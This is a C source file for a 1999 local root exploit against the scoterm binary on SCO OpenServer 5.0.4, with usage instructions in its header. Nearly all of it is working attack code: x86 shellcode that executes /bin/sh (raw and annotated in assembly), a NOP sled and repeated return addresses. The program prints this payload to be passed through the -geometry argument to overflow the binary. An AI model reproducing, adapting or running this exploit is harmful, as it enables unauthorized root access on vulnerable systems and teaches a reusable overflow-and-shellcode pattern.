/*
 * <st2.c> Local root exploit 
 *
 * Offset: /usr/bin/X11/scoterm => Work only against patched binaries,
 * for default binaries use the old exploit.
 * -2000 -> Started from scoterm or xterm on localhost
 * 0 -> Started from remote telnet (with valid display parameter)
 *
 * Usage: 
 * $ cc st2.c -o st2
 * $ /usr/bin/X11/scoterm -display 1.1.1.1:0 -geometry `st2 0`
 *
 * By: The Dark Raver of CPNE (Spain - 5/8/99) 
 *
 * <http://members.tripod.com/~ochodedos> - <doble@iname.com>
 *
 */ 


#include <stdlib.h>
#include <stdio.h>


char hell[]=
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

/*
char hell[]=
"\xeb\x1b" // start: jmp uno 
"\x5e" // dos: popl %esi
"\x31\xdb" // xorl %ebx,%ebx
"\x89\x5e\x07" // movb %bl,0x7(%esi)
"\x89\x5e\x0c" // movl %ebx,0x0c(%esi)
"\x88\x5e\x11" // movb %bl,0x11(%esi)
"\x31\xc0" // xorl %eax,%eax
"\xb0\x3b" // movb $0x3b,%al
"\x8d\x7e\x07" // leal 0x07(%esi),%edi
"\x89\xf9" // movl %edi,%ecx
"\x53" // pushl %ebx
"\x51" // pushl %ecx
"\x56" // pushl %esi
"\x56" // pushl %esi
"\xeb\x10" // jmp execve
"\xe8\xe0\xff\xff\xff" // uno: call dos
"/bin/sh"
"\xaa\xaa\xaa\xaa"
"\x9a\xaa\xaa\xaa\xaa\x07\xaa"; // execve: lcall 0x7,0x0 
*/

                       
#define OFF 0x7fffeb80 	// SCO OpenServer 5.0.4
#define ALINEA 2
#define LEN 1500
                       

int main(int argc, char *argv[]) {

int offset=0;
char buf[LEN];
int i;

if(argc < 2) {
	printf("Usage: st2 <offset>\n"); 
	exit(0); }
else {
	offset=atoi(argv[1]); }

memset(buf,0x90,LEN);
memcpy(buf+600,hell,strlen(hell));
for(i=700+ALINEA;i<LEN-4;i+=4)
	*(int *)&buf[i]=OFF+offset;

for(i=0;i<LEN;i++)
        putchar(buf[i]);
        
exit(0);        
}